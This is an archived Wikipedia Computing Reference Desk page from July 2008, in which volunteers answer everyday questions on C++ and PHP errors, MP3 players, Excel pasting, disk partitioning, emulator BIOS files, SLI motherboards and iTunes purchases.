I fixed the algorithm, and now it's working perfectly. Thanks to you all. At first I was mystified because it kept making stripes into the image, but then I realised I had written image.getHeight() where I needed to write image.getWidth(), making the pixel value checking useless for non-square images. The next step is to fix fine-tune the needsPainting() method. A uniform threshold isn't going to work - lighter parts need higher thresholds and darker parts need lower ones. JIP | Talk 19:47, 14 July 2008 (UTC)

flood fill animation

That's good. Y'know, if you're feeling industrious, the flood fill article could do with an animation. While it has graphics that show the algorithm per-pixel, it doesn't convey the macroscopic appearance of a flood fill on a convoluted shape so familiar to anyone who played Twin Kingdom Valley or The Hobbit. I figure you've done the hard part, and you could straightforwardly amend your program to:

• read Image:Canard.jpg (probably downscaled a bit)
• floodfill the body green from a seed somewhere on the wing
• for every pixel, emit a numbered image file
• use ImageMagick to turn them into an animated GIF (it's easy)

;) -- Finlay McWalter | Talk 20:08, 14 July 2008 (UTC)

Meh, I got bored and did it myself - see right. -- Finlay McWalter | Talk 17:38, 16 July 2008 (UTC)

MP3 Players

I looked at our list of MP3 players but can't find what I'm looking for. Is there a list out there of currently available MP3 players which behaves just like a USB drive when transfering music? (For example, I had an Archos player which used USB connections to transfer files, it's own internal software made a list of all the songs on the device through the FAT, I think, and required no extra software on the computer to transfer). Pluses for me would be 20GB+ HDD or maybe even 4~8GB+ of flash, and foreign language support. My Zen Vision M is a pain is the butt because it requires stupid software to transfer files (or SMP which I hate), can only play music through their own crappy software when connected to the computer, and since 90% of the songs on my player is Japanese with Japanese track titles, it's hard to scroll to any song because it sorts everything as after 'Z', so probably 75% of all my songs and artists are between Z and A when I try to find it. Any non-iPod players out there that'd fit my requirements? Even Zunes are ok. --Wirbelwindヴィルヴェルヴィント (talk) 17:17, 14 July 2008 (UTC)

In List of mp3 players, those with an MSC entry of "yes" (in the syncing and transfer section) implement the USB mass storage device class, which is USB-speak for "disk drive type thing". -- Finlay McWalter | Talk 18:16, 14 July 2008 (UTC)

Why do you dislike iPods so much? because they need special software to transfer music? --grawity 18:23, 14 July 2008 (UTC)

No need to interrogate the guy because he doesn't like a particular product. Perhaps he uses Linux. Perhaps he doesn't want custom software. Perhaps he is philosophically opposed to hardware with built-in encryption. Perhaps he doesn't like the interface. Perhaps he doesn't like the style of the device. (Apple's shiny, rounded look & feel is pretty over-exposed at the moment. It's even, dare I say, starting to seem old.) The point is, his question was already answered, what's the point of harassing him on his brand choice? APL (talk) 19:04, 14 July 2008 (UTC)

I would say grawity is right in asking that question. Do you suppose that the iPod will naturally evolve with everyone who don't want to use it for a particular reason stay muted? The OP is not compelled to answer and grawity is not a troll. Kushal (talk) 02:39, 15 July 2008 (UTC)

Well, does the list of MSC compatible devices include devices where part of an MP3 player can be used as a hard drive? For example, I had a Zen Xtra where you can allocate part of the device to be used as a hard drive through MSC, but you can't access the music that way, which would still not be what I want. Also, the reason I don't want to use an iPod is because people don't really realize how close to a monopoly it is. I mean, seriously, airlines wanted to put iPod chargers for each seat, etc. Making students buy iPods for podcasts. I'm sure there are others, but these things don't sit well with me. --Wirbelwindヴィルヴェルヴィント (talk) 16:00, 15 July 2008 (UTC)

I don't know if you've looked at them already, but Archos's current generation can function as MSC devices in the way you want. I'm not sure how well they handle Japanese characters (though for what it's worth, they handle Icelandic fine...) — Matt Eason ^{(Talk &#149; Contribs)} 16:11, 15 July 2008 (UTC)

Kushal, Wikipedia's reference desk is not the correct place for Apple to be conducting market research into why some small number of people do not prefer their product. APL (talk) 18:44, 15 July 2008 (UTC)

Spawn c++ processes in new console windows.

I'm using _spawnv(P_NOWAIT, "process.exe", my_args ); to spawn new processes but whenever I do, it appears in the same console window as the original program. Also, the first process will close prematurely if I use another _spawnv. How do I have each _spawnv process launch in a new console window? —Preceding unsigned comment added by 205.214.236.66 (talk) 18:31, 14 July 2008 (UTC)

You don't say what OS you're running on (I'm guessing windows from that .exe extension). If this were Unix (et al) you'd instead spawn another xterm (or whatever) process with your text-mode C++ app supplied as an argument to that. I'd guess that XP/Vista's cmd.exe can do the same, but I've been overoptimistic about Windows before. -- Finlay McWalter | Talk 18:40, 14 July 2008 (UTC)

I'm on XP, sorry. Based on the above, does anyone know of a command I can pass to the program to have it start in a new window, or can I do this indirectly through a batchfile maybe? —Preceding unsigned comment added by 205.214.236.66 (talk) 18:46, 14 July 2008 (UTC)

See what happens if you spawn ("cmd.exe","/c","process.exe",myargs) (per this). -- Finlay McWalter | Talk 18:56, 14 July 2008 (UTC)

Thanks, guys. It works best if the program writes then executes it's own batch file. —Preceding unsigned comment added by 205.214.236.66 (talk) 19:10, 14 July 2008 (UTC)

If you don't mind using the Win32 API instead of the standard C libraries, then CreateProcess (which is what the Windows implementation of spawn ultimately calls, anyway) lets you specify in its dwCreationFlags parameter CREATE_NEW_CONSOLE. CreateProcess gives you much finer-grained control over the new process than does spawn, and so is probably the better option anyway if you are running under Windows. KiwiBiggles (talk) 05:44, 15 July 2008 (UTC)

Making partitions and losing data

If you make a new partition in an HDD, is there any risk of loosing data? —Preceding unsigned comment added by 84.79.111.175 (talk) 18:43, 14 July 2008 (UTC)

Yes. If the drive is currently all one partition with data, your partitioner program must be capable of moving data around to make empty space for the new partition. If not, it will simply truncate the existing partition and usually erase the file directory - making it an empty drive. -- kainaw™ 19:09, 14 July 2008 (UTC)

Take a look at List of partition utilities. If you follow the links and check the features, you will find that many or most have the ability to repartition drives while preserving data. -- Tcncv (talk) 02:03, 15 July 2008 (UTC)

Bear in mind anything which modifies existing partitions run the risk of screwing up and damaging your partition. I've had this happen before. Depending on how they're designed, you will have problems if it dies (power failure etc) during some part of the operation. Whatever happens, if something goes wrong often if you check before you do anything further, you can recover most of your data (presuming you have somewhere to copy it to) but there are never any guarantees. Most partitioning tools will remind you to make sure you have backups before doing something major like modifying your existing partitions. Of course, you should always have backups anyway Nil Einne (talk) 21:03, 15 July 2008 (UTC)

Bagle (computer worm)

Which form of the Bagle has "Be Not Jealous"? Ericthebrainiac (talk) 18:58, 14 July 2008 (UTC)

The closest I could find was this one that includes the message "Dont get jealous!!" -- Tcncv (talk) 02:11, 15 July 2008 (UTC)

Problems with MAME32 and Nebula emulator

I have the MAME32 emulator and a few roms for it. Whenever I try and play a game, it loads the rom files correctly, but does not find these 4 files: sfix.sfx sp-s2.sp1 sm1.sm1 000-lo.lo

I searched online, and found a .zip file download that has these files in it. I put it in my rom folder and unzipped it, just as it said to, but the emulator is STILL not reading the files, even though I can see them right there in front of me.

I also have the Nebula NeoGeo emulator, and it experiences the same problems. In this emulator, though, it says I need the files: Neo-geo.rom ng-sfix.rom ng-sm1.rom ng-lo.rom

Here's an excerpt from the faq that comes with Nebula: "Q1. Can't load Neogeo games, Nebula says that neo-geo.rom is missing but I have it inside the game zip. A: Neo-geo.rom, ng-sfix.rom and ng-sm1.rom (and now ng-lo.rom) MUST be in a file called neogeo.zip in any of the rom directories you have configured. NG-LO.ROM file must be 64k (65536 bytes) and it's the same than the first 64K of the old 128k NG-LO.ROM"

I downloaded a .zip file named "neogeo.zip" but all it had in it was the 4 files needed for the MAME32 emulator (which is still not reading them). What exactly is my problem, here?! The Mighty KELP (talk) 20:59, 14 July 2008 (UTC)

I have a file called neogeo.zip in my roms directory, and it has these files: 000-lo.lo, asia-s3.rom, sfix.sfx, sm1.sm1, sp-e.sp1, sp-j2.rom, sp-s.sp1, sp-s2.sp1, sp1.jipan.1024,usa_2slt.bin, vs-bios.rom. My mame32 has always worked with neogeo games with the zip file like that. Sandman30s (talk) 12:26, 15 July 2008 (UTC)

And where do you get this .zip file? Could you link me to it, please? The Mighty KELP (talk) 16:58, 18 July 2008 (UTC)

Comodo firewall and McAfee security center

Hi all. I've just installed the Comodo firewall (replacing ZoneAlarm, which was acting up), but McAfee security centre keeps giving me the warning that "Outbound firewall is not installed on your computer". Is this just a case of the two applications not getting on together, or is Comodo not giving full protection? (I haven't changed any settings on the firewall since installation, btw) Thanks. 91.143.188.103 (talk) 21:18, 14 July 2008 (UTC)

Open mp3 in a new Winamp?

Hello. Is there a way to open an mp3 file in a new Winamp instance by double-clicking it by default? (It's really annoying that double-clicking an mp3 files makes the Winamp instance already running erase its whole frickin' playlist and replace it with the single mp3 file!) If this can't be done, I'm open to suggestions on other equally light-weight and unobtrusive players able to do this ^-^. Thanks in advance, Kreachure (talk) 22:17, 14 July 2008 (UTC)

What I do is have some other media player (usually Media Player Classic) set as my default mp3 player. That way I can have winamp running and never worry about the problem you've described. APL (talk) 23:55, 14 July 2008 (UTC)

Right click the file and select the option you need. If you have nothing else, you can always enqueue it. Kushal (talk) 03:24, 15 July 2008 (UTC)

Whilst I don't have Winamp on the computer I'm writing this on, IIRC, there is an option (in Winamp) to make the default action "Enqueue" instead of "Play". That way, double-clicking on an MP3 file will add it to the current Winamp playlist. — QuantumEleven 11:49, 15 July 2008 (UTC)

In my Winamp (v5.531) it's options/preferences/general preferences/file types/Enqueue files on double click in Windows Explorer. Algebraist 12:00, 15 July 2008 (UTC)

Enqueue might not be the functionality he wants. It sounds like the functionality he wants is to play some file now, while not killing his (probably paused) playlist. I do this all the time, which is why I recommend having some other media player as the default mp3 handler. APL (talk) 12:41, 15 July 2008 (UTC)

Winamp->right click on the Winamp Window->Options->Preferences->Setup/File types-> Enqueue as default action. This is for Winamp 2.x so if you're running Winamp 5.x then the directions may not work as well but it should still have that option.--droptone (talk) 12:18, 15 July 2008 (UTC)

Nope, I certainly don't want to enqueue a song I want to hear right now into my 850+ song playlist. Enqueuing is the only alternate option I had already found for playing an mp3 file on Winamp, either by right-clicking, on preferences, or even on Windows file type options. I guess having an alternate default mp3 player to open mp3s directly is a good idea (and I do have Media Player Classic in my comp already, I just never thought of it as an mp3 player!), so I guess I'll be doing that. Thanks. Kreachure (talk) 13:09, 15 July 2008 (UTC)

I do that a lot - foobar2000 will have my "background music" playing, and when I want to listen to something specific without disturbing it I open the file in Media Player Classic. All while VLC is playing the TV episode I'm watching :) — QuantumEleven 15:46, 17 July 2008 (UTC)

July 15

What's wrong with this php

I have my php installed on this computer. The html and php are in the same folder. Here is the php page:

<?php
    $n=$_POST['n'];
    print "Your prime number is $n.";
    ?>

And here is the HTML page:

<html>
<head>
<title>Prime Number</title>
</head>
<body>
<form method="post" action="prime.php">
<input type="text" name="n" id="n"/>
<input type="submit" value="Submit" />
</form>
</body>
</html>

Whats wrong with it my PHP Designer said Undefined index n in C:\Users\Public\Public Documents\prime.php on line 2 Melab-1 (talk) 01:46, 15 July 2008 (UTC)

I'm not sure but try removing $n=$_POST['n'];. ---J.S (T/C/WRE) 03:12, 15 July 2008 (UTC) Nevermind. ---J.S (T/C/WRE) 03:21, 15 July 2008 (UTC)

Your PHP code is fine. The problem is on your server. What all did you install on your computer? You need an http server and php running to make this work. Trvr3307 (talk) 06:19, 15 July 2008 (UTC)

The error is saying, basically, that it doesn't know what you're talking about when you reference item "n" from the system variable $_POST. The fact that it's telling you this tells you that PHP is installed fine. I'm not sure why it doesn't get the variable, though. It might be due to it not receiving POST variables at all; it might be due to the error reporting settings telling you that when the variable is null.

Try this on line 2 and see what it gets you, it should tell you what the script is receiving, if anything: echo "POST variables are: ".print_r($_POST,1); --98.217.8.46 (talk) 14:37, 15 July 2008 (UTC)

I have heard of a bug with Windows web server (IIS, I believe it is called) not passing post variables when connected to the local machine. It is possible that this is the problem the questioner is experiencing. -- kainaw™ 14:51, 15 July 2008 (UTC)

Backup of Windows files using Linux

I had a problem with my Windows installation and so I tried to access my data with Puppy Linux. I could copy the files, but as I try to open the pdf files, I receive an "Access denied" message as I try to open them in Windows.

How can I access these Windows files? —Preceding unsigned comment added by 83.40.8.91 (talk) 09:46, 15 July 2008 (UTC)

The problem happens only as I try to access the files under another Windows installation. If I try to access my pdf files under Linux the problem disappears. The same happens to directories of my own files. —Preceding unsigned comment added by 83.40.8.91 (talk) 10:13, 15 July 2008 (UTC)

What about non-PDF files in the same directories? And can you move the PDF files around (copy them from directory to directory, attach them to emails, etc.)? -- Hoary (talk) 10:16, 15 July 2008 (UTC)

Under Windows I cannot move them around. Other files (html) are okay. Under Puppy Linux I can do what I want (read, copy, etc). —Preceding unsigned comment added by 83.40.8.91 (talk) 10:20, 15 July 2008 (UTC)

How about using ntfsclone from ntfsprogs for backup purposes (since a non-raw copy of a windows installation is not bootable)? Also, might access not be denied to those files if accessed by a more priviledged user (ie administrator)?--209.151.139.252 (talk) 04:19, 17 July 2008 (UTC)

A3 Printer / Scanner

I'm looking for an multifunction printer / scanner that can print and scan A3 in color. It would be for light to medium small office use, on a daily basis. Cost isn't too much of an issue, but I don't want to go overkill considering the aforementioned usage. Are there any solutions for this, or would you suggest I get an A3 printer and scanner separately? Thanks. 81.187.252.174 (talk) 10:18, 15 July 2008 (UTC)

occlusion test for cube in directX/openGL ?

Is this possible?

What I want to do is:

1. calculate which faces of the cube are visible (can do)

2. tranform the faces to polygons in screen coordinates eg Zdepth, x and y (can do)

3. For each face start the 'polygon fill' process but simply compare the z depth of each pixel with the z depth in the screen buffer

i. If the polygon z pixel depth is less than the screen buffer z depth then 'TOTAL_OCCLUSION'=FALSE. and exit

ii Do the next, and all the pixels from the polygon in 3.i.

iii 'TOTAL_OCCLUSION'=TRUE and exit.

Note, I want the proceedure to exit early if the polygon is shown to be not occluded at a point, and that there is not write to the screen buffer - just read?

Is this do-able - if so what are the commands? Thanks.87.102.86.73 (talk) 12:37, 15 July 2008 (UTC)

MS Office - changes between versions

(Caveat: A month ago I shifted positions where I "work", and found myself too busy to troll the RefDesks. I now find myself so busy that I probably should consider myself to be actually working. Dammit. But, I can come here if I need help, can't I?)

Background: I had been using a PC running XP/Pro and MS Office 2003 Premium. Among other things, I use Excel to create and maintain a simple list of related items. While some fields were calculated, most were manually pulled from various sources, all coughing up data as text. I had my company-mandated Outlook set to show all email as text, so even those things I used the Windows Clipboard for came across as simple text, and all was good. Now: I have been "promoted", and now have a newer PC running Vista Ultimate (like a very sick dog, btw, until I gave it enough RAM) and I have MS Office 2007 Professional to maintain that list with, and I can no longer do what I used to do. Anything I copy from another source into Excel retains the font, size, and attributes of the original. Thus, a small field that displays fine with the attributes I told Excel to use becomes unreadable with the (effectively) random font, size, bold, italics, etc that got dragged over from the web page, incoming email, etc that was copied.

Does anyone know how to do any of:

1) convince the clipboard in Vista to only copy ASCII text without all the formatting garbage,

2) convince MS Oulook 2007 to display all email as ASCII text only -I found the setting to make all _outgoing_ email text, but I can't find the setting to make all _incoming_ email show text only. I get to see all incoming email exactly as rainbow bright wanted me to, with beautiful colors, different fonts and sizes, etc. There's gotta be a "Just show the text" setting somewhere...

3) convince MS Excel 2007 to enforce field settings, instead of allowing the clipboard to change them all?

(I miss you guys. Actually, I miss being so under-worked that I could troll the RefDesks, but, hey, let's be polite!) -SandyJax (talk) —Preceding comment was added at 14:16, 15 July 2008 (UTC)

I don't have all those fancy new software versions, but in similar situations, I've become used to keeping a "scratch" notepad open, and I use a two step copy/paste, i.e. copy from mail to notepad, then ctrl-A, ctrl-C (shift focus), ctrl-V. It's far from ideal, but it works, and I have to do it seldom enough that it's not onerous. --LarryMac | Talk 14:48, 15 July 2008 (UTC)

I agree, the two-step process works well, since Notepad strips all formatting, but it's definitely not my first choice for a solution. (Actually, my FIRST choice would be an automated filter on the email server sending a text-only copy of the relevant emails to a bot which inserted the relevant data into the table, but since this company doesn't believe in test servers, any such development would have to be done on the live servers that paying customers and paid employees use world-wide. Things don't get fixed or improved very often, here.) -SandyJax (talk) 15:31, 15 July 2008 (UTC)

I've used "Clipboard Washer" to do #1. You need to install Yahoo Widgets to use it. —Preceding unsigned comment added by 66.92.130.188 (talk) 01:25, 16 July 2008 (UTC)

Try the Edit > Paste Special menu option in Excel. Depending on the copy-from source, this should give you the option to paste plain text only, which should leave the formatting alone. -- Tcncv (talk) 03:25, 16 July 2008 (UTC)

That sounds like what I want. However, this new MS program does not seem to have the standard MS Windows program drop-down menus, like File/Edit/Tools/Help/etc. All Excel 2007 offers is "Home / Insert / Page Layout / Formulas / Data / Review / View" to let me do anything I want with this spreadsheet. I just can't find the Edit menu that you are probably talking about. -66.55.10.178 (talk) 13:47, 16 July 2008 (UTC)

Did you click the magic bubble in the upper left? -- kainaw™ 14:55, 16 July 2008 (UTC)

Yes, I did. Do you know of an option in that menu that does something helpful? If so, can you tell us where it is? -SandyJax (talk) 19:27, 16 July 2008 (UTC)

If you right-click in the cell where you want to paste, the menu should include "Paste Special". Alternatively, if you paste normally (like with Control-V), there should be a little clipboard icon after the pasted text. If you click that, you should get a drop-down menu that lets you choose to "Match Destination Formatting". -- Coneslayer (talk) 19:48, 17 July 2008 (UTC)

When I paste something in Office 2007, a little icon appears next to the stuff I just pasted offering to: "keep source formatting", "use destination formatting" or "keep text only" (or some similar wording). I nearly always use the last option. Astronaut (talk) 14:23, 18 July 2008 (UTC)

Both of those should work, and look useful as one-off tools. However, I'm asking if there is a global setting for either Excel itself or for "this worksheet" that would allow me to NOT have to do this every time I "paste" something. Alternately, my question was "Does anyone know how to get Outlook 2007 to drop all formatting for incoming messages?" to attack the problem at the "cut" end. -SandyJax (talk) 14:22, 20 July 2008 (UTC)

SLI vs. CrossfireX

Is there a difference between motherboards that do SLI and those that do Crossfire? My video card says it can do SLI (it's a GeForce 8800 GT Superclocked), and I was looking at this motherboard. Can I SLI a pair of 8800 GT's (assuming I eventually buy a second one) on that particular motherboard? 216.49.181.128 (talk) 17:09, 15 July 2008 (UTC)

And that mobo is compatible with this CPU, right? 216.49.181.128 (talk) 17:15, 15 July 2008 (UTC)

Yes. While there is little difference as far as I know at the physical level, chipsets need to be licensed with built in support to do SLI or Crossfire. Nvidia in particular isn't licensing SLI to anyone meaning unless you have an Nvidia chipset, you're not going to have SLI. Now it is potentially possible to hack the drivers to enable SLI on an unsupported motherboard, but this is going to be rather iffy to get to work. Also be aware that the motherboard you linked to has only one true 16x slot, the other one only offers 8 lanes according to the Foxconn manual (which isn't surprising since it's using the P45 chipset) which may reduce performance slightly (although probably not by much). In any case, IMHO SLI is nearly always a waste. As you are hopefully aware, SLI performance is quite variable and is often not double and can indeed have no increase. It's simply not worth the hassle, unless your insane and are using 2 of the best cards possible. You're nearly always far better just buying a new card, whatever offers the best price/performance for your budget at the time, which may not be much more expensive then the price of a second 8800GT but could easily offer double the 8800GT and selling your old one for whatever you can get. Nil Einne (talk) 19:50, 15 July 2008 (UTC)

why no browsers in app store

Why is that all the applications in iPhone app store is small games or small apps. Why no browsers like opera or firefox etc? Does Apple prohibit or discourage them by some means like say, they are not possible with the current SDK like that? —Preceding unsigned comment added by 59.92.119.219 (talk) 17:42, 15 July 2008 (UTC)

I'm somewhat doubtful the terms of the App Store SDK licensing make it likely or possible for free software like FireFox to be released. Nil Einne (talk) 19:56, 15 July 2008 (UTC)

As I suspected... [3]. Potentially a browser could be derived from FireFox and released under the LGPL or MPL (although I'm not sure) but I suspect Mozilla will put their foot down on it being called FireFox Nil Einne (talk) 19:59, 15 July 2008 (UTC)

More C++

For my second C++ program I am trying to write one to take the average of three numbers. Here's what I have:

#include <iostream>

using namespace std;

int main()
{
    float a, b, c, average;
    cout << "Please enter 3 numbers." << endl;
    cin.get >> a >> endl;
    cin.get >> b >> endl;
    cin.get >> c >> endl;
    average = (a + b + c)/3;
    cout << "The average is:" << average;
    system("pause");
    return 0;
}

When I try to compile this, I get three errors that say this: "C:\Documents and Settings\Zachary\Desktop\Average.cpp invalid use of member (did you forget the `&' ?)" for lines 10, 11, and 12. What I would like to know is what to change in order for this to compile correctly. (By the way, I'm using the Dev-C++ compiler.) Thanks, Ζρς ι'β' ^¡hábleme! 17:49, 15 July 2008 (UTC)

I just wrote a program so I could check the "cin" function. I don't know what's going on because if I try to use "cin" in the above program, I get way more errors than if I use "cin.get". But I just used "cin" and it worked fine; in fact it would not work with "cin.get". I would give me the error message: "10 C:\Documents and Settings\Zachary\Desktop\simple.cpp no match for 'operator>>' in 'std::cin.std::basic_istream<_CharT, _Traits>::get [with _CharT = char, _Traits = std::char_traits<char>] >> mystring' " which is the error I get if I try to use just "cin" in the average program. (The test program is written as below.)

#include <string>
#include <iostream>

using namespace std;

int main()
{
    string mystring;
    cout << "Please enter a phrase to echo:  ";
    cin >> mystring;
    cout << "You entered the phrase:  " << mystring << endl;
    system("pause");
    return 0;
}

Thanks, Ζρς ι'β' ^¡hábleme! 18:03, 15 July 2008 (UTC)

I am far from an expert (and in fact I kinda hate C++), but if I'm not mistaken, get is a function cin, and should be called with parentheses, e.g. cin.get() >> a; --LarryMac | Talk 18:23, 15 July 2008 (UTC)

Actually, that's probably not quite right either, except that if you use get, you will need parentheses. I think get() will limit you to one character, which doesn't really match with your declarations of a, b, and c as floats. --LarryMac | Talk 18:31, 15 July 2008 (UTC)

The problem is with these lines. "cin.get >> b >> endl;" This line is actualy two seperate statements, both wrong. The first is "cin.get >> b" cin.get is a function. You can't normaly use an operator (>>) on a function. The second statement is "b >> endl" this doesn't make sense. It's actually a bitshift, which is certainly not what you intended. You don't need an end of line there anyway.

Try replacing those three lines with something that looks like this : "cin >> b;" APL (talk) 18:33, 15 July 2008 (UTC)

Whoops. Yep, that was it. It's working now. :) Thanks, Ζρς ι'β' ^¡hábleme! 18:51, 15 July 2008 (UTC)

Word 2007 Combine Documents

In Word 2007, when combining documents is there any easy way to accept all insertions and reject all deletions without going thru it one by one. Thanks! Wiki131wiki (talk) 18:20, 15 July 2008 (UTC)

Info by Fingerprinting (a la Back to the Future II in 2015)

On BTTF II in 2015, 17-year-old Jennifer Parker sits unconscious in an alleyway in 2015 after time-traveling. A vocal on the fingerprint reader says she's 47. The cops say, "That's one hell of a good facelift!"

1. But what if another time-traveler who visited a future year, was dead by that year? What would a fingerprint reader tell you then?

2. And assume someone travels back to the past when they're 27 years old, and the year they travel to is 20 years prior. If a cop fingerprinted the young lady and it told them her CURRENT age, then what?? (They would just assume a glitch, would they?) --Let Us Update Special:Ancientpages. 19:18, 15 July 2008 (UTC)

Well the fingerprint reader is probably just syncing it with a database of pre-existing fingerprints and grabbing the D.O.B. from there. Thus it thinks a 17 year old is 47—it's looking to her recorded D.O.B., not anything to do with the biological body laying there in front of them.

As for what would a hypothetical fingerprint system used in a fictional movie would tell them in other situations, and what the cops using it in question would think in respond to data that didn't make sense—who can say. It would depend on how the system itself was set up. --140.247.241.142 (talk) 19:25, 15 July 2008 (UTC)

Limitations of statically typed languages

I copied and pasted the following from Type system: Compared to static typing (or 'early-binding'), dynamic typing is more flexible because of theoretical limitations on the decidability of certain static program analysis problems; these prevent the same level of flexibility from being achieved with static typing[citation needed].

My question is: anyone know what this means? Thanks --78.86.164.115 (talk) 19:28, 15 July 2008 (UTC)

I'd guess that it could include a program that loads a variable A into another variable B; where the data type eg integer/string/float/boolean is not known until the program is run, or may depend on use input. In this case a statically typed program would simply give an error, or would be required to convert all the possible data types of B into a standard representation where extra bits are added to show the data type.?87.102.86.73 (talk) 19:39, 15 July 2008 (UTC)

It is referring to the ability to use values. Consider static typing. Assume you have a value "6" and it is of type Foo. You have a function that takes type Bar as a parameter. You know "6" is a valid value for a type Bar, but you don't know of any reasonable method for turning a Foo type into a Bar type. You end up converting from one type to another type to another to try and get what you need. It may be very wasteful if you do something like create a FooBar object that has both a Foo and Bar value inside it and the ability to convert them. In dynamic typed languages, the value is pretty much stored the same way regardless of type. So, you can arbitrarily refer to a variable as one type and then another - whatever is handy at the moment. It does create problems itself. For example, consider PHP's instamagical conversion of 0 to False to Null. If you ask for the position of "a" in the string "abcdefg", it comes back as position 0. If you ask for the position of "z" in the string, it comes back as "False" (not in the string). So, how do you tell if you got a 0 or False? You have to use the triple comparator: if($position === false) print "It is not in the string!"; -- kainaw™ 19:55, 15 July 2008 (UTC)

why didn't they just make first position in string = position 1 ???????? is there a reason?87.102.86.73 (talk) 20:12, 15 July 2008 (UTC)

Yes, there is a reason. The number is the offset from the first character. If it is the first character, the offset is 0. If you returned a 1, you'd be claiming that the offset from the first character is 1, which makes no sense. -- kainaw™ 11:56, 16 July 2008 (UTC)

Unless you used counting, but it's too late now anyway. The thing has alrady been made.87.102.86.73 (talk) 13:15, 16 July 2008 (UTC)

Thank you for the responses. What I really want is either a refutation of the quoted statement or a confirmation of it with an example (or a theoretical example) - i.e. a static program analysis problem whose decidability is limited. If what I have just said makes you think that I don't understand the quoted statement then could you rephrase it for me? Thanks --78.86.164.115 (talk) 21:45, 15 July 2008 (UTC)

I think it's just terrible english - the sentence just mirrors itself "Compared to static typing (or 'early-binding'), dynamic typing is more flexible" would do, the last part "; these prevent the same level of flexibility from being achieved with static typing." simply repeats the beginning.:This shorter version says exactly the same thing:

Compared to dynamic typing, static typing (or 'early-binding') is less flexible because of theoretical limitations on the decidability of certain static program analysis problems.[citation needed].

I'd definately make that 'grammar' change regardless.

Aside from that you were asking what does ".. decidability of theoretical limitations on the decidability of certain static program analysis problems" mean or is it right...? Actually I can't think of "theoretical limitations" - I guess it means that it may be impossible to know what sort of data type a program subroutine may possibly be presented with. To me it just doesn't make sense.. I can assume that a subroutine may be presented with any data type and add error checking to compensate.

This much makes sense "Compared to dynamic typing, static typing (or 'early-binding') is less flexible" - it should be obvious why as well.

The thing is that in a statically typed language those assumptions is made by the compiler. And if the compiler is allowed to make the assumption that "any type" might come as an input then you are in fact operating with dynamic typing. Taemyr (talk) 01:30, 16 July 2008 (UTC)

I'd suggest removing it and replacing with the meaningful part I presented above. Discuss it on the articles talk page if anyone else is there, or just post the removed parts to the talk page and if anyone can come and prove/cite what was written they can sort it out. It's gibberish. 87.102.86.73 (talk) 00:56, 16 July 2008 (UTC)

Also note that the decidabilty problem actually affects dynamically typed programs, as described by user:kainaw above.87.102.86.73 (talk) 09:29, 16 July 2008 (UTC)

July 16

my xbox

win i plug in my power to my xbox it will not come on why is that —Preceding unsigned comment added by 72.205.201.13 (talk) 02:14, 16 July 2008 (UTC)

Are you getting the Red Ring of Death? Any error codes? Perhaps call 1-800-4MY-XBOX. Useight (talk) 03:10, 16 July 2008 (UTC)

I can attest that their support does not suck. Try it out! Is this an original Xbox or Xbox 360? --mboverload@ 05:32, 16 July 2008 (UTC)

If you have to send it back for repair remove all accessories including the disk cover and faceplate if you have a xbox 360; they remove those and you don't get them back..87.102.86.73 (talk) 11:09, 16 July 2008 (UTC)

iPod touch and comcast

Does anyone know if the iPod touch allows someone to access Comcast email through the Mail application? I know how to access it through Safari, but I really want to figure out how to use Mail. --Dem393 (talk) 03:28, 16 July 2008 (UTC)

Does Comcast email have POP3 or IMAP access? --antilived^{T | C | G} 05:21, 16 July 2008 (UTC)

Comcast POP3 access on iPod Touch. Or try their web portal built for mobile devices. [4] Forgive me if I'm out of line but you should try gmail.com. I'm not telling you that it's better - just that it provides a lot of interesting and cool features. Good luck! --mboverload@ 05:31, 16 July 2008 (UTC)

Thanks for the help! I guess I can use gmail someday. If I happen to delete a message from my iPod, then that doesn't affect my actual account, right?--Dem393 (talk) 13:44, 16 July 2008 (UTC)

itunes

if a song u bought gets erased off ur computer...how can u get it back from itunes without paying again? —Preceding unsigned comment added by 76.14.124.175 (talk) 03:58, 16 July 2008 (UTC)

Apple considers all tracks bought from iTunes the same as selling you a physical copy. If you "loose" it there is no way to get it back. Apple has not figured out the difference between physical and digital yet I guess. Sorry mate, you're out of luck =(. However, I'm sure Copyright Jesus won't smite you if you download it off a P2P application. --mboverload@ 05:27, 16 July 2008 (UTC)

Is this the case even on the DRM infected stuff? If so, what's the point of the DRM? Nil Einne (talk) 11:24, 16 July 2008 (UTC)

Yes. DRM files as well. The point of DRM is so that you can't give it to someone else, not for Apple or anyone else to keep a running database of everything that you ever bought from them. Dismas|^(talk) 12:58, 16 July 2008 (UTC)

That's right, Digital Rights Management is completely one-sided, with only protections for companies and none whatsoever for consumers. Another consumer protection which should be offered is the right to get any song you've paid for in any digital format. If you paid for a song and some day want it in the "new MPEG-9 format, which allows you to remix the song as desired, since it contains separate tracks for each instrument and voice", there shouldn't be an extra charge for that (or at least not as much for a song upgrade as for a new purchase). StuRat (talk) 15:27, 16 July 2008 (UTC)

Why shouldn't there be a charge? Just because I buy a cassette today doesn't mean I get a CD tomorrow (and don't tell me it's because the medium costs money, because we all know that's a very small part of the overall price). --98.217.8.46 (talk) 02:22, 17 July 2008 (UTC)

The basic issue is what you bought when you bought the cassette: Where you only buying the physical cassette or the rights to the music on the cassette or both ? If they argue you only bought the physical cassette, then this is saying the music on it has no value and thus can be copied freely. For this reason they argue that you are buying both, so that either stealing a blank cassette or copying the music on it is a crime. However, if they have sold you the rights to the music, distinct from the medium which carries it, then it's not proper for them to try to sell you the rights to the same music repeatedly, every time they change the medium on which it's carried. Some charge for the new medium itself is reasonable (although, as you've said, this cost is negligible), but you shouldn't be forced to buy the music on it again, as you've already paid for it. This is similar to buying other information, like a computer program. Upgrades are either free or much lower cost for most computer programs, you aren't normally expected to pay the full cost again. And, in this case, the program has (presumably) been improved, it's not just the same old program on a new medium. StuRat (talk) 13:13, 17 July 2008 (UTC)

Well and freight and shelve space and rent and wages and other assorted costs, which are basically removed by digital distribution. --antilived^{T | C | G} 10:35, 17 July 2008 (UTC)

← Simply put, there's a reason Apple has a backup feature in iTunes. Any time you buy new songs/albums, you should make a backup of your purchased music to CD/DVD with that feature. From what I've read, the DRM isn't Apple's fault as much as the music industry was unwilling to allow end-users to copy files on their own, and they imposed fees on Apple for each song downloaded (so it costs Apple a lot of money to let users re-download songs free). At least EMI is allowing non-DRM songs to be sold on iTunes. I just wish more labels would follow suit. — The Hand That Feeds You:^Bite 13:11, 17 July 2008 (UTC)

Call Apple. They allow a one-time re-download per lifetime. In the future, back up your music. And/or use Time Machine --70.167.58.6 (talk) 18:47, 17 July 2008 (UTC)

Websites, directories, subdirectories, and the like....

